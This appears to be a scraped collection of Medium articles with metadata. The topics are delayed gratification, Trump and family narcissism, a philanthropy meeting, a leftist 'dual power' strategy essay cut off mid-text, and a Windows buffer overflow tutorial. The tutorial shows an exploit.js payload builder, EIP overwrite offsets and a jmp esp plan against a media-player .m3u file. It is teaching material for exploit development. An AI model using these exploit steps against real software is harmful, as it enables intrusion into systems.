Maybe the concept of delayed gratification can be construed as a sign of maturity, a concept that has not even touched the lives of many of the current generation. Though, if you come to think of it, its relevance has not depleted in the least; rather it has become all the more significant. In today’s world where everything is within reach, delaying gratification is a test of one’s resolve. But, then why delay what is easily available? I think there are enough reasons to do that:
It helps you value what you get. As they say, anything that comes easily is not valued as much — be it money, fame or relationships. However, if you have worked hard for them, you value these achievements or acquisitions much more.
As they say, anything that comes easily is not valued as much — be it money, fame or relationships. However, if you have worked hard for them, you value these achievements or acquisitions much more. It can be a source of motivation. When you set a goal for yourself and decide that you will enjoy the gratification only once you have achieved those goals, delayed gratification becomes a source of immense motivation.
When you set a goal for yourself and decide that you will enjoy the gratification only once you have achieved those goals, delayed gratification becomes a source of immense motivation. You learn to live within your means. Not only is everything easily accessible today but also the money to access the same is just there, thanks to the credit cards and pre-approved loan limits which banks are falling over each other to offer to you.
Not only is everything easily accessible today but also the money to access the same is just there, thanks to the credit cards and pre-approved loan limits which banks are falling over each other to offer to you. You compel yourself to think. Once you deny yourself instant gratification and delay the fulfilment of the desire, you pass over that refraction period immediately following stimulation during which your thinking is suspended, your faculties regain control of the mind and compel you to think whether the need is genuine enough to require gratification.
Once you deny yourself instant gratification and delay the fulfilment of the desire, you pass over that refraction period immediately following stimulation during which your thinking is suspended, your faculties regain control of the mind and compel you to think whether the need is genuine enough to require gratification. You cut your clutter. The later you accumulate the more you are living with your current options longer and hence delaying the building of clutter for yourself. Clutter breeds its own tension of organising the same and de-cluttering at some stage, which can be an energy-draining exercise
The later you accumulate the more you are living with your current options longer and hence delaying the building of clutter for yourself. Clutter breeds its own tension of organising the same and de-cluttering at some stage, which can be an energy-draining exercise You may just skip the desire. If you pass the instant gratification opportunity, chances are that you may completely skip the desire. Avoiding trips to the mall during shopping sales, invariably means you don’t end up buying at all once the sales frenzy has passed over.
If you pass the instant gratification opportunity, chances are that you may completely skip the desire. Avoiding trips to the mall during shopping sales, invariably means you don’t end up buying at all once the sales frenzy has passed over. You also do something for the planet. Not only for yourself but you also help the planet by delayed gratification of your desires. Most of the things that we consume come at a cost to the environment, the later we gratify ourselves, to that extent we delay our carbon footprint or even sometimes avoid it completely, as the need to gratify passes over with time since the desire was never backed with a real need.
Try putting delayed gratification in action and see if it works for you, earn the fulfilment of every desire by aligning it with goals and outcomes that you want to achieve.
Delaying gratification leads to long term satisfaction. | https://medium.com/@jainsandeepk/what-lessons-does-delayed-gratification-hold-for-life-114a728ef039 | ['Sandeep Jain'] | 2020-02-08 15:41:09.294000+00:00 | ['Delayed Gratification', 'Life Coaching', 'Lifehacks'] |
How Trump’s Dysfunctional Days in the White House are Helping Me Heal | Photo by Andre Hunter on Unsplash
Donald Trump’s antics don’t bother me. Like. At all. That doesn’t imply approval of any sort. It just means that, to me, antics and drama and yelling and bullying are completely normal.
Finding a way to live “normally” amongst chaos and lies definitely comes in handy. It is one of the many survival skills that served me well growing up. It still does. It’s a product of being born to a toxic mother married to a broken, enabling father. Enabling grandparents, aunts, uncles, the like. Surrounded by multiple generations of enablers in a constant and enduring state of denial. So, yeah — that’s pretty much how my sister and I grew up. Living with and terrorized by a version of Donald Trump. Sounds interesting, right?
But to be clear, what Donald Trump does and says, on a day to day basis, is not actually that damaging. It’s just noise. Now the enablers that surround him? That is where the real damage is done.
Donald Trump would not be so darn noisy and disruptive if it weren’t for his enablers. A drum can only beat for so long without others to continue the cadence. Add in some cymbals and now there is quite a din. And a tambourine! Now we’re talking.
The same is true for the dysfunctional narcissistic family. The initial wound may be inflicted by the toxic parent, but the real and lasting damage, the deep, deep wounds, are opened and reopened by the enablers. Intentionally or unintentionally, enablers give their blessing for the toxic person to continue inflicting harm without consequence. The enablers might even bring along the cow bell.
Most recently I was struck by how similar the dynamics of Donald Trump and his enablers are to my own family. So it isn’t shocking that “important” people in our country cast their morals and ethics aside and do whatever it takes to keep Trump from exploding. Exploding on them, I mean. So do family members of a toxic person. The enablers, as a whole, don’t want any part of that. Trump can explode on anyone without concern, as long as he is not exploding on them. So could my mother. But in my family, my mother exploded on her children. Unchecked. But who cares what happens to anyone else, especially those without the power to defend themselves? It’s abhorrent.
On the other hand, Trump and his enablers are teachers. For those unfamiliar with the characteristics and consequences of narcissistic family abuse, witnessing the crazy making behavior over and over again in the news coverage should get you up to speed rather quickly. Donald Trump and his enablers really do a terrific job bringing the dysfunctional family script to life. The dynamics also point out that people behave similarly whether they hold public office or they are family members not brave enough to stand up to the toxic person. Denial runs rampant here, and as witnessed every day in life as we know it, the enablers prioritize the emotional status of the toxic person beyond and above the physical and mental health of the toxic person’s target. They enable the toxic person and avoid doing the right thing. The hard thing. Enablers refuse to take a side. But…they must.
“We must take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor, never the tormented.” — Elie Wiesel
There are people that actually do take sides. And action. I just don’t know any.
So it can be comforting to bear witness to Trump and his enablers act out this cycle over, and over, and over again without fail. Because it promotes awareness. It then becomes clear how the toxic person bullies everyone into submission. The enablers empower the toxic person. Everything and everyone revolve around the unstable and unpredictable moods of the toxic person. This is not safe. Life is dangerous.
We need to talk about how narcissistic abuse happens in families. And in the public eye. It is pervasive. It destroys the spirit. When children are victims, it is incredibly damaging. People need to learn about narcissistic abuse and how it affects EVERYONE in a family. We need people to learn to stand up and stop the cycle of abuse.
Although it sounds ridiculous, I’m not ready for the Trump show to end. Right now I can depend on a nightly — at least week nightly — opportunity to see what it looks like when people challenge the bully. Challenge the enablers. We need to help the toxic person, not empower them. We need to educate the enablers, not let them off the hook.
So if you need a refresher, just watch the Trump election news coverage. It’s all there. Pick your favorite channel. Please also watch someone stand up for what is right. Watch Nicolle Wallace have America’s back. She has all our backs. No matter what. | https://medium.com/@elizabethrustemeyerdrake/how-trumps-dysfunctional-days-in-the-white-house-are-helping-me-heal-2a0019305237 | ['Elizabeth Rustemeyer Drake'] | 2020-11-25 20:10:56.981000+00:00 | ['Family History', 'Mental Illness', 'Alcoholism', 'Narcissistic Abuse', 'Narcissism'] |
Six Things We Learned at the End of 2020 | Every year, PACE hosts a series of gatherings for its members and we save one meeting for the end of the year. It provides a way for the PACE community of funders to reflect on the year, assess the state of civic engagement, and begin to put shape around priorities for the year ahead.
We convened our membership in early December, and after a year like 2020, this year-end meeting was unlike any other. We decided the best use of our time together as a community was to engage with this guiding thematic question: With the backdrop of all the crises this year revealed, the 2020 Election provided the latest stress-test for our country. What sense do we make of the health of our democracy and civil society? What can be celebrated? What should be further understood?
We tackled these questions with a listening and learning posture, and over two days, we hosted four sessions with the goal of deepening our understanding in key areas. The first session concentrated on the civic bright spots and the areas of celebration coming out of 2020, with a particular focus on unpacking the electorate that led to historic voter turnout through the lenses of generation, race, faith, and other demographics. The second session helped us be honest about the long-standing challenges that re-emerged this year by diving deep into understanding the influence of toxic polarization/hyperpartisanship and understanding anti-democratic tendencies such as disinformation, interference, suppression, and disenfranchisement. Next, we looked to a panel of experts to help us consider the philanthropic strategies and investments that made the biggest differences this year and what should not fall away as we move beyond 2020. Our last session took that conversation one step further by engaging PACE Members in a discussion about how we evaluate momentum for democracy-related work and how we sustain philanthropy’s interest and involvement in democracy over time, especially as we move away from the urgency created by the election season.
The speakers were provocative and the discussions were rich. As we reflect on this member meeting, many, many insights emerge. In no particular order, these are the six learnings from our member meeting that are sticking with us as we prepare to wrap up 2020 and look ahead to 2021: | https://medium.com/office-of-citizen/six-things-we-learned-at-the-end-of-2020-c71e3517b4c1 | ['Philanthropy For Active Civic Engagement', 'Pace'] | 2020-12-15 15:07:07.510000+00:00 | ['Philanthropy', 'Learning', 'Civic Engagement', 'Pace Updates', 'Democracy'] |
Windows Exploit Development: A simple buffer overflow example | We are effectively making the application crash and overriding EIP with 0x41414141 (‘AAAA’). We are sure we hit a buffer overflow and now we need to measure the buffer’s length in order to override EIP with whatever value we want. We should try overriding ESP and EIP with known values.
2nd round
We can try using smaller chunks of bytes to improve our precision. Using chunks of 500 bytes long we get ESP pointing to 0x0012EEAC which is filled with 43’s (C’s).
Here we can see ESP points to 0x0012EEAC and the 43’s (C’s) start 4 addressed before ESP.
So, we have to provide 500 ‘A’s, 500 ‘B’s and 16 ‘C’s in order to reach ESP.
3rd round
We change the block size to 1016 bytes to match our calculations and we successfully hit esp as expected.
We placed 1016 ‘A’s, then 1016 ‘B’s starting at ESP, then 1016 ‘C’s.
Now we need to know how big the stack is. We can use a De Bruijn pattern to measure this using radare2’s ragg2 utility
ragg2 -P 2000 -r
4th Round
Our new exploit.js includes a De Bruijn sequence and looks like this:
const blockSize = 1012 let buf = '' buf += 'A'.repeat(blockSize)
buf += 'D'.repeat(4) // overrides EIP const r2pipe = require('r2pipe')
r2pipe.open("/bin/true",function (err, r2) {
if (err) {
console.error(err)
} else {
r2.syscmd(`ragg2 -P ${blockSize} -r`, function(err, o) {
if (err) {
console.error(err)
} else {
buf += o
r2.quit()
process.stdout.write(buf)
}
})
}
})
Let’s try it out!
great! EIP = 0x44444444 == ‘DDDD’
Our ‘A’s chunk starts at 0x12EAb4 and EIP is at 0x12EEA8. Using radare2 we can calculate the difference between the addresses. A third way of knowing the stack length would be providing a Bruijn pattern directly and then getting the offset of EIP’s value after the crash.
ragg2 -P 2000 -r > sample.m3u
# this generates a pattern 2000 bytes long
After loading this sample.m3u EIP’s value is 0x41684641 which is at offset 1012 as we would expect:
Then, we could calculate where the start of the stack was by subtracting this value to EIP’s content address, which is 0x12EAB4 (again, as expected)
In this environment, we can’t place an address from the stack straight into EIP because stack addresses start with 0x00 which is a null character that will prevent the rest of the file to be loaded. We need to jump into the portion of the stack containing our payload using an indirect method. We’ll find an address containing the “jmp esp” instruction and override EIP with it.
Finding the address is easy with Immunity debugger : | https://infosecwriteups.com/windows-expliot-dev-101-e5311ac284a | ['Alan Vivona'] | 2019-09-26 09:52:25.699000+00:00 | ['Hacking', 'Infosec', 'Exploit', 'Cybersecurity', 'Windows'] |
Insurrection & Infrastructure: a Dual Power Guide for Leftists in Britain | Dual Power is at last being talked about in British revolutionary left wing discourse, having previously been ignored outside of a small number of Syndicalist, Anarchist and Communist organisers already familiar with the subject. However the debate here needs to catch up fast to the state of affairs that we are presented with. Accordingly I have prepared this guide, which examines multiple aspects of the concept, including the most recent commentary on the subject from modern Communists and Anarchists in the USA.
This piece can either be read in depth as a piece of work in its own right, or readers can skim it for links to other bodies of work and the quoted texts that I have included. Those seeking a rapid definition of the concept should read the introductory points at the beginning and then skip directly to the Appendix at the end of the article.
Complex challenges require intelligent solutions. We are now faced with the problem of how to create a "liberty machine in prototype”. Dual Power, as a form of practice, may be crucial to that project.
What is dual power?
As myself and others have gone on about at length, things are rather bad right now. In the current context of electoral politics and mass liberal protests getting pulverised by the UK state and the inherent conservatism of much of British society, much of the radical left in the UK is turning to an area of revolutionary theory that has been left neglected for many years: dual power. This has particularly come to the fore in relation to questions about the correct organising model going forward, reflections on the Covid-19 crisis, the growth of mutual aid projects, as well as issues regarding climate destruction and ecological radicalism.
Dual power has seldom been explored by the left in the UK, but is the subject of serious debates across the entire spectrum of the left in the United States. With the obliteration of the credibility of the electoral route to power, and the total failure of the mass protest model espoused by liberal environmentalists, many Communists, Anarchists, radical ecological activists and Socialists in the UK are taking notice of this critical area of revolutionary theory.
However, because the movement here has ignored the concept for so long, few have a good grounding in the depth of the theory. This is bad, because dual power is not only a demanding organisational challenge, but it’s a complex and contested subject of theoretical debate.
So what is it?
The answer is complex and cannot really be answered by single explanations any more, as there are now multiple competing definitions, both complementing each other and at odds. In order to disentangle this I’ve attempted to assemble a combined explanation of core terms, definitions and technical concepts, as well as an overview of the modern debate over the term and the contest between the various definitions
The basic core idea is that dual power is where there is a complex of institutions that challenge State and Capital for control over logistics, resource access, political decision making, and social coordination. But the story does not end there…
What it is…
A strategic doctrine: In many ways, dual power is a framework of ideas about how to organise radical networks and groups in a specific way in order to oppose and actively disrupt the application of state power.
A form of practice/method: Because it is a strategic doctrine concerned with organisational behaviours on a wide scale, it is also concerned with organisational behavior on a group level, and on an individual level.
A diagnosis: If dual power is achieved then that means that a circumstance has established itself whereby dual power is physically present in an area or a section of society. In other words you can diagnose when it is happening and it is not an ephemeral concept that flits in and out of existence. It will be societally concrete, a set of existing social circumstances.
A set of physical things: dual power refers to the existence of physical assets and social institutions. This include physical control over machinery, buildings, food sources etc, combined with active worker unions, health clinics, occupied spaces, networks of supply for material goods under control of radical organisations, and so on.
A manifestation of behaviours: It isn’t just the dead presence of left-oriented institutions. Participants will be at least partially aware of the greater scope of the things they are involved in. They will know for example that a health clinic that is part of a dual power network is consciously developed as a challenge to state/capital monopolies on the right to supply the means of living.
Dual power must be counterposed against a lack, or a weakness in state/capital power: Ultimately it arises with the combination of all these aspects into a complex system which is able to actually wrestle control of certain aspects of society and the economy away from state/capital control. It is not merely the establishment of radical infrastructure alone.
It is thus defined by rupture: dual power stops being a simple collection of capacities by being tied to and a part of a rupture between the old and the new.
What is it Not…
Not synonymous with mutual aid: Mutual aid is a critical part of dual power but it is not the same thing. Mutual aid is a form of human activity which can have a radical context, such as with squats, refugee support etc, or can be totally cooperative with state and capital and totally alienated by them. Kropotkin describes mutual aid as an emergent characteristic of complex organic life. Humans are social species so they not only do this on basic material levels like looking after offspring, but also realise mutual aid through the social realm.
Not synonymous with guerilla war: guerilla war involves the development of power bases from which to mobilise against state or occupying armed forces, but this doesn’t make it exactly the same thing. dual power can be and often is a component of guerilla strategies, but does not have to be. Not all Guerilla forces seek to topple governments, or control over local institutions. Some do. Some are even in peculiarly cooperative relationships with local authorities on the fringe of central state control, in particular with Guerrilla forces that are closely linked to drug cartels.
Not something that can exist hand in hand with every strategy: Some strategies are effectively conceptually in opposition to it: for example entryism focused forms of vanguardism, and many electoral strategies are inherently aimed at things that run contrary to the goal of building dual power, due to many interpretations of the concept being based on opposition and usurpation of established unions, civic institutions, and pieces of government infrastructure. For example, establishing an alternate source of control over healthcare challenges local healthcare officials, healthcare charities within the NGO industrial complex, and mainstream unions.
Most critically it is not just the sum of its parts: it has to exist in a revolutionary context, which is sufficiently extreme as to force a confrontation against the state. Prior to this eventuality it exists as interconnected components with largely radical political characters.
Not our ideological baby: Dual power is a product of leftist theory but we do not have a monopoly on it as a strategic doctrine. There are examples of reactionary movements achieving similar structures both historically and in modern global politics. While in the leftist context it must be seen as inherently anti-capitalist and anti-state, the broadest definition of the doctrine can merely be anti-government and not bother about the state as a concept or capitalism as a system. In other words, it can be used by any form of insurgency. Remember that bit about guerilla war? At the end of the day, sometimes the guerillas that DO utilise dual power aren’t on our side.
It is not something that can liberate us on its own, and it is not something intended for peace.
Competing definitions within leftism:
There’s a lot of subtly different definitions of dual power. They aren’t set in stone by god: they overlap a lot, because a lot of development in the concept has happened very recently. In order to sort them at least vaguely, I’ve produced my own assessment of some broad cleavages in the modern definition as of mid-2020. Readers should interpret this section with a grain of salt because it’s a product of my own views on how to categorise the subject but I hope that it proves useful in explaining some elements of the evolving theoretical debate around the subject. There are many ways of seeing dual power, so here are a few:
Leninist origins, early Anarchist influences, and Diagnostic/Emergent perceptions:
Many people focus on thinking about dual power in terms of diagnosing emergent conditions in revolutionary scenarios. In other words, rather than primarily thinking of dual power as an active project alone, they think of it in terms of comparing existing situations to situations described in documented historical revolutions. This traces a direct line of descent back to the intellectual tradition of the Russian Revolution, where multiple theorists commented on the emerging situation of twin poles of political power, one being the Provisional government, the other being the various Workers Soviets. Lenin, Trotsky and others analysed the situation in the contemporary context of 1917. A fascination with these figures is a permanent feature of leftist writing in many circles, and lots of writers have tended to focus on if dual power has emerged in a given context and if the moment is ripe for Bolshevik ( or similar) action. This is not to say that the Leninist tradition is totally passive though, and to assume that Leninist think only of the subject passively, in the context of being observers would be erroneous. Many Leninists do focus heavily on advocating the proactive development of dual power if it is not already present, as it is often considered a prerequisite for revolution by many Leninists writings on the subject, particularly in relation to Maoist insurgency strategies (-more on this later). Many modern American Leninists are ardent in their support of dual power strategies, particularly in relation to debates that swept through the American left prior to 2020. (-more on this later as well.)
In “The Peculiar Nature of the dual power” Lenin states:
“This dual power is evident in the existence of two governments: one is the main, the real, the actual government of the bourgeoisie, the “Provisional Government” of Lvov and Co., which holds in its hands all the organs of power; the other is a supplementary and parallel government, a “controlling” government in the shape of the Petrograd Soviet of Workers’ and Soldiers’ Deputies, which holds no organs of state power, but directly rests on the support of an obvious and indisputable majority of the people, on the armed workers and soldiers. The class origin and the class significance of this dual power is the following: the Russian revolution of March 1917 not only swept away the whole tsarist monarchy, not only transferred the entire power to the bourgeoisie, but also moved close towards a revolutionary-democratic dictatorship of the proletariat and the peasantry. The Petrograd and the other, the local, Soviets constitute precisely such a dictatorship (that is, a power resting not on the law but directly on the force of armed masses of the population), a dictatorship precisely of the above-mentioned classes.”
Other early influences on the concept include writings by proto-anarchist Proudhon, whose writings in “General Idea of the Revolution in the Nineteenth Century” have exerted a modicum of influence on anarchist and libertarian socialist thought regarding questions of revolutionary Infrastructure. However, Proudhon is generally not favoured by many modern leftists, and undoubtedly it is Kropotkins omnipresent work explaining the role of mutual aid in natural life, society and politics that is the most influential in the Anarchist sphere on this matter. The importance of the concept of political mutual aid to the concept of dual power is so obvious as to not require going into any detail. To put it simply, political mutual aid is now a core pillar of the whole concept, and it is no wonder, given that Kropotkin considered mutual aid to be “the surest means for giving each other and to all the greatest safety, the best guarantee of existence and progress, bodily, intellectual and moral.”. Those unfamiliar with the concept should consult widely available anarchist and libertarian-socialist sources on the subject, or indeed, the man himself, particularly the latter chapters of the main body of the work.
Bookchinite/Municipalist/Council-Political influences:
The (in)famous Murray Bookchin made a few comments regarding the role of dual power in his models of a transforming society, as have other followers of his philosophical and ideological work. Much of this was focused around late 20th century developments in his theoretical trajectory with influence from studies of democracy and urbanisation. Accordingly, Bookchinite contributions often tend to focus on the town and city as being the centre of gravity for political transformation, and weighed heavily into the interpretations of dual power as being about the civic legitimacy of alternative centres of popular sovereignty. Another significant influence from this camp was the mild but noticeable introduction of ecological concepts which introduced the “green” side of the equation into the concept. As a result of this, the concept began to expand scope in the broad libertarian-left theoretical tradition, and Anarchists and Bookchinites has been particularly notable in its return to prominence. Bookchin’s writing came to more mainstream prominence particular in the aftermath of the 2011 revolutions in the Middle East and North Africa, prompting even theoreticians willing to tolerate cooperation with liberal democracy to note his influence on their positions:
“At the time, however, “dual power” was essentially descriptive. The American anarchist theorist Murray Bookchin was the first to flesh out the concept into a strategic framework for transformative politics. In his political blueprint, called “libertarian municipalism,” confederations of directly democratic assemblies would be forced into conflict with the nation-state, making continued coexistence impossible. We advocate a somewhat more flexible approach than Bookchin’s — engaging with liberal democratic governments wherever possible to restructure them in a participatory and ecosocialist direction. Even so, his theoretical work on dual power is central to our strategy.” (From “Community, Democracy,and Mutual Aid: Toward dual power and Beyond. By John Michael Colón, Mason Herson-Hord, Katie S. Horvath, Dayton Martindale, & Matthew Porges, available as a PDF here)
Ultimately, the main effect of this was to lend weight to a growing tendency to use the concept of dual power in programmatic terms rather than descriptive ones, although it also made it open to a certain liberal de-fanging of its revolutionary potential. Since this contribution, the debate has expanded far beyond Bookchin’s particular ideological position, and has also taken on influence from other radical directions.
20th Century warfare/Guerilla influences:
Both via the Maoist tradition, and via the rise of other significant military-political movements, there have been a number of significant historical and contemporary examples of revolutionary forces using strategies similar to dual power in local zones of influence to enhance and support guerilla campaigns, and other forms of warfare. Maoist, and Marxist-Leninist-Maoist ideological schools of thought often lay claim to this, but the history of the 20th century demonstrated that the concept of dual power is not the exclusive purview of the leftists. Many militant forces have used it. The Maoists were particularly notable for it at numerous points in time, notably in India, where the Naxalite movement was sufficiently developed to be at the point of setting up its own schools and mid level civil engineering projects as well as utilising their own concept of “revolutionary taxes”, a hotly contested term, even amongst Maoists. However, it is notable that some Naxalite writings claim that dual power cannot exist in certain specific circumstances in Guerilla campaigns:
“When the guerrilla forces have the upper hand, the people’s power can exist. The enemy rule will go on temporarily when the guerrilla forces retreat in the face of the enemy onslaught. There cannot be dual power in the same area simultaneously. It will be either the enemy’s power or ours.”
Trotskyist guerilla fighter & theorist, Regis Debray took a slightly different line in his work “Revolution in the Revolution”, stating:
“For the attainment of this goal, the guerrilla movement is not the highest form of revolutionary struggle; “dual power”must be instituted at the base, that is, a call must be made for the formation of factory and peasant committees, the proliferation of which will ultimately permit the establishment of a single United Confederation of Workers; this confederation, by means of instantaneous and generalized rising in the mountains and the cities, will be the instrument for taking power…”
Other key case studies that illustrate the influence of modern militia/terrorist/guerilla forces on the development of dual power as a theory include Ukrainian Neo-Nazis, who have made great use of the development of cultural and civic institutions to assist their integration within Ukrainian Civil society, and Hezbollah, one of the most complex and successful armed groups on the planet.
Hezbollah is particularly notable because it has a major presence in many nations, but specifically in its home nation of Lebanon it exists in such strength that is often described as a “state within a state”. Western writers, discussing the concept of counter-insurgency have made deep studies of the subject, producing various statements about the group and its simultaneous existence as a social force, political party and independent army within the Lebanese political context. In his work “Out Of the Mountains” , popular mainstream expert on Western experiences in counter-insurgency, David Killkullin notes that:
“…the example par excellence of a wide-spectrum group is Lebanese Hezbollah. Hezbollah brings to bear an extremely broad range of capabilities across the full spectrum of a well-developed normative system… … The organization began as a small militia that received training from the Iranian Revolutionary Guard Corps, funding from Iran, and political support from Syria as well as from the Lebanese Shi’a community. Over time, however, Hezbollah has expanded and diversified into a wide-spectrum social and political movement that not only includes a capable military wing but also maintains regional and district administrative councils, law enforcement organizations, dispute resolution and mediation systems, employment programs, health clinics, schools, labor representation, a reconstruction organization, charity programs, a mass political party with elected representatives in the Lebanese parliament and at the local and regional levels, a series of local radio stations and print publications, the satellite television channel Al-Manar, and a significant Internet presence. Hezbollah is, in effect, a counterstate within the territory of Lebanon. This counterstate fields an extraordinarily effective “fish trap” system of incentives and disincentives that fully encapsulate its target population: you can live your whole life within the Hezbollah lifestyle and almost never need to engage with the outside environment. Hezbollah’s strength derives from its ability to create a full-spectrum normative system that dissuades people from opposing its agenda, gives them tangible administrative and economic benefits in return for support, and persuades them to participate in its program. The system rests on three pillars — Hezbollah’s capable terrorist and military organizations (giving it coercive and intimidatory power); its social and administrative programs, which benefit Lebanon’s urban poor and marginalized communities of all religious groups; and its non-coercive political and propaganda capabilities.”
This brief overview of Hezbollah’s complex, dynamic power-plays in its regional environment should demonstrate to the careful reader three things of note: 1, that Hezbollah considers this systemic capacity to be totally core to its model, 2, that it differs ideologically, in the most extreme manner, from the practice of most Communists or Anarchists, and 3, that the integration of the project within existing states and cooperation with local inter-state geopolitical military alliances runs counter to the goal that most leftists would hold themselves as adhering to: emancipation from, rather than control of, the State and Capital. Nevertheless, it is a highly instructive real world example.
Just as stark in all those regards is the example of the conscious efforts of Ukrainian Neo-Nazis within their local civil society and state structures. The Azov Battalion in particular is notable for setting up a variety of social service institutions in order to develop their political legitimacy. A writer for Haaretz notes: “Semenyaka describes the movement as trying to build “a state within the state,” providing a number of services to people in a country where, plagued by poverty and a still-hot war with Russia, the government isn’t always able to step in. So Azov tries to do it all. It publishes a monthly newspaper, runs children’s camps (some with Ukrainian state help), provides services for veterans and generally does everything it can to show Ukrainians that it is a force for good.“ Further research into Ukrainian Neo-Nazi organisational methods by Open-Source investigators Bellingcat reveals that multiple Other Neo-Nazi groups are heavily focused on growing their presence in mutliple parts of the nations cultural apparatus.
Why are these reactionary organisations doing this? Because they sense power in the sinews of this form of activity. These efforts are not synonymous with what we call dual power, but they are similar and are major systemic elements in the campaign of Neo-Nazi militias in Ukraine to integrate their politics into the politic mainstream, and in Hezbullahs strategic of social control, protest repression and hegemonic maneuvering in the internecine domestic political environment of Lebanon. For this reason, they can be examined both to provide a warning, and a lesson.
Further influences toward Infrastructuralism- Modern complex theories of dual power emerge:
This brings us to the present: The historical confluence of multiple schools of theory, of multiple practical examples, of evolving modern movements, is all feeding into the continuing development of this concept. From this we reach the modern context: The Modern New Left movement, and the rise of millenial leftism and the current wave of radical youth movements. Throughout the latter half of the 20th century, political events in the western hemisphere created numerous other currents that influenced the development of this theory.
As a result of numerous wide ranging contributions, dual power today is widely understood as being about more than alternative centres of decision-making and political/cultural sovereignty, or the diagnosis of political events. Rather, the always present, but frequently undernourished infrastructural side of the equation is now being emphasised by a growing number of writers, though not without pushback from some quarters. This has been heavily influenced by groups such as the Black Panthers, who famously advocated for the combination of a wide variety of social programs, run by their party, including soup kitchens and armed community defence, in turn leading to further influences on wider leftist radicalism following their dissolution into numerous successor parties, some of which have agitated for dual power strategies relatively recently. The other massive factor that caused the pivot to refocusing on infrastructure occurred during the Obama era, as disaffected left-liberals began to swell the ranks of the then nascent modern leftist revival in the United States, against a backdrop of events that destroyed community lifelines to thousands of working class people.
The Occupy movement and the Black Lives Matter movement are endlessly credited with creating much of the modern American leftist movement, and for good reason. Indeed there were early mutterrings on the subject of dual power in writings relatively close to those events and many modern African American led Leftist groups which benefited from or came into being after this period are also major proponents of the program, notably the Black Socialists of America, who relentlessly advocate for it on social media, and the well known Cooperation Jackson.
Notable events include massive mutual aid projects known as “Occupy Sandy”, and other similar disaster relief projects, as well as the popularity of notable modern guerilla movements which utilised the strategy, most well known of which being the EZLN:
“The Zapatista organization itself has very exacting requirements: in addition to adhering to its ideological principles, members must follow a set of standards that include rejecting aid from the official government and abstaining from alcohol. It is not surprising that at least some in each community decline to join. “The issue,” Pickard said, “is how to convince people to give you legitimacy, if not through an election” (given that the Zapatistas reject the current electoral system).
How do they do it? It’s certainly not through access to greater resources, although the Zapatistas do have a system of taxation. They charge a ten percent tax on projects by outside agencies including NGOs and the official government (the highway tolls were dropped in 2003). Within communities, assembly decisions are resourced by labor or in-kind contributions from each family in the community. Coffee and craft coops bring in additional venues and international solidarity provides a further supplement — the clinic at Magdalena, for instance, has been supplied by Médecins du Monde for a number of years. But the total budget of the resistance communities is, to say the least, austere.” Source.
The range of ideological influences is very complex, and developed in the Western political context largely amongst the new generation of Millennial/Zoomer leftists who are extremely theory oriented, though we hardly eschew organising and are now running the show in many groups. The new conception is much more focused on integrating mutual aid concepts, on integrating community action, supply of physical materials and meeting material needs, this trend takes ideological and practical inspiration from Black Panther food kitchens, independent unions, food-not-bombs etc, with special note to the climate change question, as well as combined deep organising models.
The kinds of US organisations involved in dual power Politics are often also concerned more heavily with workplace organising, and the influential Base-Building theoretical current in the communist /anarchist /socialist movement, and tend to de-emphasise electoral politics often totally rejecting it. This is not universally true however and there are some democratic socialists who advocate for movements towards Solidarity-Economy focussed routes whilst also holding to gradualist approaches, and on occasion even electoralist positions. Accordingly they frequently get into tangles with opposing theoreticians across the revolutionary spectrum.
There are various writers and organisations who are central to the North American revival of this theory, with the major organisational proponents including groups like the more revolutionary components of the Demcratic Socialists of America ( A dominant force in the American far-left), such as the Libertarian Socialist Caucus (LSC) and the Communist Caucus, the former having created an entire manifesto based on the concept, the latter being ardent proponents of class struggle organising within the pluralistic, yet often fractious DSA umbrella. Other leading proponents that dabble in the strategy to one extent or another are the Marxist Center organisation, Black Rose/Rosa Negra and the Symbiosis umbrella organisation. All have made efforts in the direction of coordinated mutual aid and dual power organising, combined with deep organising models, to one extent or another. The BSA (not to be confused with DSA), which were mentioned earlier in this essay have also joined in rhetorical support of this trend. A selection of source materials by these organisations has been collected in the first appendix to this work.
The key conceptual development of this movement of modern theorists is this: Dual power is now commonly conceived of, in our circles at least, as being a matter of creating an independent network of infrastructure to meet material needs, both for normal requirements, and in relation to the logistical challenges imposed by future insurrection, by disaster, by austerity, and by climate collapse, combined with the more classical ideas about creating structures of alternative Sovereignty in communities. This is seen by many modern writers as being achieved via a complex of Alternative Institutions and Counter Institutions. In relation to Counter Institutions, the LSC claims “When possible, these counter-institutions link up politically, economically, and socially to form a self-sufficient ecosystem; and ultimately, confederate into direct-democratic political bodies in and across communities all over the world. Our goal in building up this infrastructure is to create counter-power. Counter-power is our ability to delegitimize, disrupt, and demonstrate our power against the current regime by developing and deploying cutting-edge cultural and organizational practices. These practices form part of the direct action toolbox which can collectively be used to undermine and delegitimize social, political, and economic hierarchies” , while the frequently cited ( and criticised) Sophia Burns wrote ia dual power FAQ linked below that lays out its own scheme for the distinction between alternative and counter institutions. Anarchist writers have weighed in over the last few decades from various points of view, ranging from the relatively moderate to the more hard line, whilst other sources have criticised a tendency to gradualism that has made itself known in the debate partially due the influence of Bookchin’s legacy, and partially due to other trends of creeping liberalism that have emerged via Marxist and Democratic Socialist camps. However, against the sweeping backdrop of electoralist solutions being wiped out, climate collapse advancing day by day, disaster communism becoming a shibboleth, accelerationism becoming all too real by the minute, this tendency, whether motivated by liberalism, by opinions of revolutionary tactics, or other considerations may yet give way to a determined, agitated and aggressive stance on this school of revolutionary theory.
How can we build it here?
Up until now I haven’t gone much into my opinions in this piece in any detail other than minor asides. I shall do so now, and accordingly, I would like to encourage readers who made it this far to strongly consider contributing in their own right to this debate.
Let us consider the physical components at play within our movement:
We already have some components that could be forged into the most basic skeleton of a nascent dual-power complex. (I have written about this, as well as other related concepts elsewhere.) Our base union movement is organisationally diverse and very dynamic, though two of the more popular grassroots unions have an element of friendliness towards mainstream politics, and may not be so conducive towards or final aims as they are towards the goals of the Labour Party. Independent medical infrastructure is existent in a prototype level, though it is miniscule and barely exists. This is exhibited in the LGBTQ cultural experience of evading the de facto embargo of healthcare on the trans community, in the recent growth of protest first-aid training and community care operations via Queercare, and has to a certain extent been hinted at in the recent and ongoing experience of minor levels of community care being exhibited in our mutual aid groups in response to the Covid-19 crisis. We have basic practice in small scale food logistics thanks to the mutual aid groups as well. The antifascist movement is still an operable force, but is only growing relatively slowly. Renters unions are experiencing a massive surge in popularity, yet the most well known ( ACORN, LRU and Living Rent) have a history of institutional cooperation and are not yet fully radicalised vehicles. It is possible that one or more of them may become so, but this will only happen with effort. The anti-raids network exists, again in highly limited form. The recently resurgent climate movement has been severely bruised with the obliteration and defeat of the 